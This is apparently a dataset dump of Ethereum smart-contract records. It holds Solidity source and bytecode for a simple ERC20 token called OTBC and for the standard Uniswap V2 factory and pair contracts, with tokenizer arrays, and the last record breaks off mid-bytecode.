[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,653
0x9720Bcf5a92542D4e286792fc978B63a09731CF0
pragma solidity ^0.5.0; contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance (address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom (address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract OTBCToken is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { name = "Outside the Box Coin"; symbol = "OTBC"; decimals = 18; _totalSupply = 100000000000000000000000000; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806395d89b411161008c578063b5931f7c11610066578063b5931f7c1461044b578063d05c78da14610497578063dd62ed3e146104e3578063e6cb90131461055b576100ea565b806395d89b4114610316578063a293d1e814610399578063a9059cbb146103e5576100ea565b806323b872dd116100c857806323b872dd146101f6578063313ce5671461027c5780633eaaf86b146102a057806370a08231146102be576100ea565b806306fdde03146100ef578063095ea7b31461017257806318160ddd146101d8575b600080fd5b6100f76105a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610645565b604051808215151515815260200191505060405180910390f35b6101e0610737565b6040518082815260200191505060405180910390f35b6102626004803603606081101561020c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610782565b604051808215151515815260200191505060405180910390f35b610284610a12565b604051808260ff1660ff16815260200191505060405180910390f35b6102a8610a25565b6040518082815260200191505060405180910390f35b610300600480360360208110156102d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a2b565b6040518082815260200191505060405180910390f35b61031e610a74565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561035e578082015181840152602081019050610343565b50505050905090810190601f16801561038b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103cf600480360360408110156103af57600080fd5b810190808035906020019092919080359060200190929190505050610b12565b6040518082815260200191505060405180910390f35b610431600480360360408110156103fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b2c565b604051808215151515815260200191505060405180910390f35b6104816004803603604081101561046157600080fd5b810190808035906020019092919080359060200190929190505050610cb5565b6040518082815260200191505060405180910390f35b6104cd600480360360408110156104ad57600080fd5b810190808035906020019092919080359060200190929190505050610cd5565b6040518082815260200191505060405180910390f35b610545600480360360408110156104f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d02565b6040518082815260200191505060405180910390f35b6105916004803603604081101561057157600080fd5b810190808035906020019092919080359060200190929190505050610d89565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561063d5780601f106106125761010080835404028352916020019161063d565b820191906000526020600020905b81548152906001019060200180831161062057829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b60006107cd600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610896600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061095f600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610d89565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b0a5780601f10610adf57610100808354040283529160200191610b0a565b820191906000526020600020905b815481529060010190602001808311610aed57829003601f168201915b505050505081565b600082821115610b2157600080fd5b818303905092915050565b6000610b77600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c03600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610d89565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211610cc357600080fd5b818381610ccc57fe5b04905092915050565b600081830290506000831480610cf3575081838281610cf057fe5b04145b610cfc57600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000818301905082811015610d9d57600080fd5b9291505056fea265627a7a72315820509d3a133df7eb709a47b55790a2bf3fed87a9d86f7fe191bef800ac6d207e2e64736f6c63430005110032
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 11387, 9818, 2546, 2629, 2050, 2683, 17788, 20958, 2094, 2549, 2063, 22407, 2575, 2581, 2683, 2475, 11329, 2683, 2581, 2620, 2497, 2575, 2509, 2050, 2692, 2683, 2581, 21486, 2278, 2546, 2692, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1014, 1025, 3206, 9413, 2278, 11387, 18447, 2121, 12172, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 19204, 12384, 2121, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 5703, 1007, 1025, 3853, 21447, 1006, 4769, 19204, 12384, 2121, 1010, 4769, 5247, 2121, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 3588, 1007, 1025, 3853, 4651, 1006, 4769, 2000, 1010, 21318, 3372, 19204, 2015, 1007, 2270, 5651, 1006, 22017, 2140, 3112, 1007, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,654
0x9720bcf93bdbe36b3636ddb66b7733b5c95f0758
pragma solidity =0.5.16; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2ERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; } interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } interface IUniswapV2Callee { function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external; } contract UniswapV2ERC20 is IUniswapV2ERC20 { using SafeMath for uint; string public constant name = 'Uniswap V2'; string public constant symbol = 'UNI-V2'; uint8 public constant decimals = 18; uint public totalSupply; mapping(address => uint) public balanceOf; mapping(address => mapping(address => uint)) public allowance; bytes32 public DOMAIN_SEPARATOR; // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; mapping(address => uint) public nonces; event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); constructor() public { uint chainId; assembly { chainId := chainid } DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'), keccak256(bytes(name)), keccak256(bytes('1')), chainId, address(this) ) ); } function _mint(address to, uint value) internal { totalSupply = totalSupply.add(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(address(0), to, value); } function _burn(address from, uint value) internal { balanceOf[from] = balanceOf[from].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(from, address(0), value); } function _approve(address owner, address spender, uint value) private { allowance[owner][spender] = value; emit Approval(owner, spender, value); } function _transfer(address from, address to, uint value) private { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function approve(address spender, uint value) external returns (bool) { _approve(msg.sender, spender, value); return true; } function transfer(address to, uint value) external returns (bool) { _transfer(msg.sender, to, value); return true; } function transferFrom(address from, address to, uint value) external returns (bool) { if (allowance[from][msg.sender] != uint(-1)) { allowance[from][msg.sender] = allowance[from][msg.sender].sub(value); } _transfer(from, to, value); return true; } function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external { require(deadline >= block.timestamp, 'UniswapV2: EXPIRED'); bytes32 digest = keccak256( abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)) ) ); address recoveredAddress = ecrecover(digest, v, r, s); require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE'); _approve(owner, spender, value); } } contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 { using SafeMath for uint; using UQ112x112 for uint224; uint public constant MINIMUM_LIQUIDITY = 10**3; bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)'))); address public factory; address public token0; address public token1; uint112 private reserve0; // uses single storage slot, accessible via getReserves uint112 private reserve1; // uses single storage slot, accessible via getReserves uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves uint public price0CumulativeLast; uint public price1CumulativeLast; uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event uint private unlocked = 1; modifier lock() { require(unlocked == 1, 'UniswapV2: LOCKED'); unlocked = 0; _; unlocked = 1; } function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) { _reserve0 = reserve0; _reserve1 = reserve1; _blockTimestampLast = blockTimestampLast; } function _safeTransfer(address token, address to, uint value) private { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED'); } event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); constructor() public { factory = msg.sender; } // called once by the factory at time of deployment function initialize(address _token0, address _token1) external { require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check token0 = _token0; token1 = _token1; } // update reserves and, on the first call per block, price accumulators function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private { require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW'); uint32 blockTimestamp = uint32(block.timestamp % 2**32); uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) { // * never overflows, and + overflow is desired price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed; price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed; } reserve0 = uint112(balance0); reserve1 = uint112(balance1); blockTimestampLast = blockTimestamp; emit Sync(reserve0, reserve1); } // if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k) function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) { address feeTo = IUniswapV2Factory(factory).feeTo(); feeOn = feeTo != address(0); uint _kLast = kLast; // gas savings if (feeOn) { if (_kLast != 0) { uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1)); uint rootKLast = Math.sqrt(_kLast); if (rootK > rootKLast) { uint numerator = totalSupply.mul(rootK.sub(rootKLast)); uint denominator = rootK.mul(5).add(rootKLast); uint liquidity = numerator / denominator; if (liquidity > 0) _mint(feeTo, liquidity); } } } else if (_kLast != 0) { kLast = 0; } } // this low-level function should be called from a contract which performs important safety checks function mint(address to) external lock returns (uint liquidity) { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings uint balance0 = IERC20(token0).balanceOf(address(this)); uint balance1 = IERC20(token1).balanceOf(address(this)); uint amount0 = balance0.sub(_reserve0); uint amount1 = balance1.sub(_reserve1); bool feeOn = _mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee if (_totalSupply == 0) { liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY); _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens } else { liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1); } require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED'); _mint(to, liquidity); _update(balance0, balance1, _reserve0, _reserve1); if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date emit Mint(msg.sender, amount0, amount1); } // this low-level function should be called from a contract which performs important safety checks function burn(address to) external lock returns (uint amount0, uint amount1) { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings address _token0 = token0; // gas savings address _token1 = token1; // gas savings uint balance0 = IERC20(_token0).balanceOf(address(this)); uint balance1 = IERC20(_token1).balanceOf(address(this)); uint liquidity = balanceOf[address(this)]; bool feeOn = _mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED'); _burn(address(this), liquidity); _safeTransfer(_token0, to, amount0); _safeTransfer(_token1, to, amount1); balance0 = IERC20(_token0).balanceOf(address(this)); balance1 = IERC20(_token1).balanceOf(address(this)); _update(balance0, balance1, _reserve0, _reserve1); if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date emit Burn(msg.sender, amount0, amount1, to); } // this low-level function should be called from a contract which performs important safety checks function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock { require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT'); (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY'); uint balance0; uint balance1; { // scope for _token{0,1}, avoids stack too deep errors address _token0 = token0; address _token1 = token1; require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO'); if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data); balance0 = IERC20(_token0).balanceOf(address(this)); balance1 = IERC20(_token1).balanceOf(address(this)); } uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0; uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0; require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT'); { // scope for reserve{0,1}Adjusted, avoids stack too deep errors uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3)); uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3)); require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K'); } _update(balance0, balance1, _reserve0, _reserve1); emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to); } // force balances to match reserves function skim(address to) external lock { address _token0 = token0; // gas savings address _token1 = token1; // gas savings _safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0)); _safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1)); } // force reserves to match balances function sync() external lock { _update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1); } } contract UniswapV2Factory is IUniswapV2Factory { address public feeTo; address public feeToSetter; bytes32 public constant INIT_CODE_PAIR_HASH = keccak256(abi.encodePacked(type(UniswapV2Pair).creationCode)); mapping(address => mapping(address => address)) public getPair; address[] public allPairs; event PairCreated(address indexed token0, address indexed token1, address pair, uint); constructor(address _feeToSetter) public { feeToSetter = _feeToSetter; } function allPairsLength() external view returns (uint) { return allPairs.length; } function createPair(address tokenA, address tokenB) external returns (address pair) { require(tokenA != tokenB, 'UniswapV2: IDENTICAL_ADDRESSES'); (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2: ZERO_ADDRESS'); require(getPair[token0][token1] == address(0), 'UniswapV2: PAIR_EXISTS'); // single check is sufficient bytes memory bytecode = type(UniswapV2Pair).creationCode; bytes32 salt = keccak256(abi.encodePacked(token0, token1)); assembly { pair := create2(0, add(bytecode, 32), mload(bytecode), salt) } IUniswapV2Pair(pair).initialize(token0, token1); getPair[token0][token1] = pair; getPair[token1][token0] = pair; // populate mapping in the reverse direction allPairs.push(pair); emit PairCreated(token0, token1, pair, allPairs.length); } function setFeeTo(address _feeTo) external { require(msg.sender == feeToSetter, 'UniswapV2: FORBIDDEN'); feeTo = _feeTo; } function setFeeToSetter(address _feeToSetter) external { require(msg.sender == feeToSetter, 'UniswapV2: FORBIDDEN'); feeToSetter = _feeToSetter; } } // a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math) library SafeMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, 'ds-math-add-overflow'); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, 'ds-math-sub-underflow'); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow'); } } // a library for performing various math operations library Math { function min(uint x, uint y) internal pure returns (uint z) { z = x < y ? x : y; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint y) internal pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } // a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format)) // range: [0, 2**112 - 1] // resolution: 1 / 2**112 library UQ112x112 { uint224 constant Q112 = 2**112; // encode a uint112 as a UQ112x112 function encode(uint112 y) internal pure returns (uint224 z) { z = uint224(y) * Q112; // never overflows } // divide a UQ112x112 by a uint112, returning a UQ112x112 function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) { z = x / uint224(y); } }
0x608060405234801561001057600080fd5b50600436106100935760003560e01c80635855a25a116100665780635855a25a146100fb578063a2e74af614610103578063c9c653961461012b578063e6a4390514610159578063f46901ed1461018757610093565b8063017e7e5814610098578063094b7415146100bc5780631e3dd18b146100c4578063574f2ba3146100e1575b600080fd5b6100a06101ad565b604080516001600160a01b039092168252519081900360200190f35b6100a06101bc565b6100a0600480360360208110156100da57600080fd5b50356101cb565b6100e96101f2565b60408051918252519081900360200190f35b6100e96101f8565b6101296004803603602081101561011957600080fd5b50356001600160a01b031661028b565b005b6100a06004803603604081101561014157600080fd5b506001600160a01b0381358116916020013516610303565b6100a06004803603604081101561016f57600080fd5b506001600160a01b0381358116916020013516610634565b6101296004803603602081101561019d57600080fd5b50356001600160a01b031661065a565b6000546001600160a01b031681565b6001546001600160a01b031681565b600381815481106101d857fe5b6000918252602090912001546001600160a01b0316905081565b60035490565b604051610207602082016106d2565b6020820181038252601f19601f820116604052506040516020018082805190602001908083835b6020831061024d5780518252601f19909201916020918201910161022e565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040528051906020012081565b6001546001600160a01b031633146102e1576040805162461bcd60e51b81526020600482015260146024820152732ab734b9bbb0b82b191d102327a92124a22222a760611b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000816001600160a01b0316836001600160a01b0316141561036c576040805162461bcd60e51b815260206004820152601e60248201527f556e697377617056323a204944454e544943414c5f4144445245535345530000604482015290519081900360640190fd5b600080836001600160a01b0316856001600160a01b03161061038f578385610392565b84845b90925090506001600160a01b0382166103f2576040805162461bcd60e51b815260206004820152601760248201527f556e697377617056323a205a45524f5f41444452455353000000000000000000604482015290519081900360640190fd5b6001600160a01b03828116600090815260026020908152604080832085851684529091529020541615610465576040805162461bcd60e51b8152602060048201526016602482015275556e697377617056323a20504149525f45584953545360501b604482015290519081900360640190fd5b606060405180602001610477906106d2565b6020820181038252601f19601f8201166040525090506000838360405160200180836001600160a01b03166001600160a01b031660601b8152601401826001600160a01b03166001600160a01b031660601b815260140192505050604051602081830303815290604052805190602001209050808251602084016000f56040805163485cc95560e01b81526001600160a01b038781166004830152868116602483015291519297509087169163485cc9559160448082019260009290919082900301818387803b15801561054a57600080fd5b505af115801561055e573d6000803e3d6000fd5b505050506001600160a01b0384811660008181526002602081815260408084208987168086529083528185208054978d166001600160a01b031998891681179091559383528185208686528352818520805488168517905560038054600181018255958190527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b90950180549097168417909655925483519283529082015281517f0d3648bd0f6ba80134a33ba9275ac585d9d315f0ad8355cddefde31afa28d0e9929181900390910190a35050505092915050565b60026020908152600092835260408084209091529082529020546001600160a01b031681565b6001546001600160a01b031633146106b0576040805162461bcd60e51b81526020600482015260146024820152732ab734b9bbb0b82b191d102327a92124a22222a760611b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b6123d8806106e08339019056fe60806040526001600c5534801561001557600080fd5b5060405146908060526123868239604080519182900360520182208282018252600a8352692ab734b9bbb0b8102b1960b11b6020938401528151808301835260018152603160f81b908401528151808401919091527fbfcc8ef98ffbf7b6c3fec7bf5185b566b9863e35a9d83acd49ad6824b5969738818301527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6606082015260808101949094523060a0808601919091528151808603909101815260c09094019052825192019190912060035550600580546001600160a01b03191633179055612281806101056000396000f3fe608060405234801561001057600080fd5b50600436106101a95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a714610534578063d505accf1461053c578063dd62ed3e1461058d578063fff6cae9146105bb576101a9565b8063ba9a7a56146104fe578063bc25cf7714610506578063c45a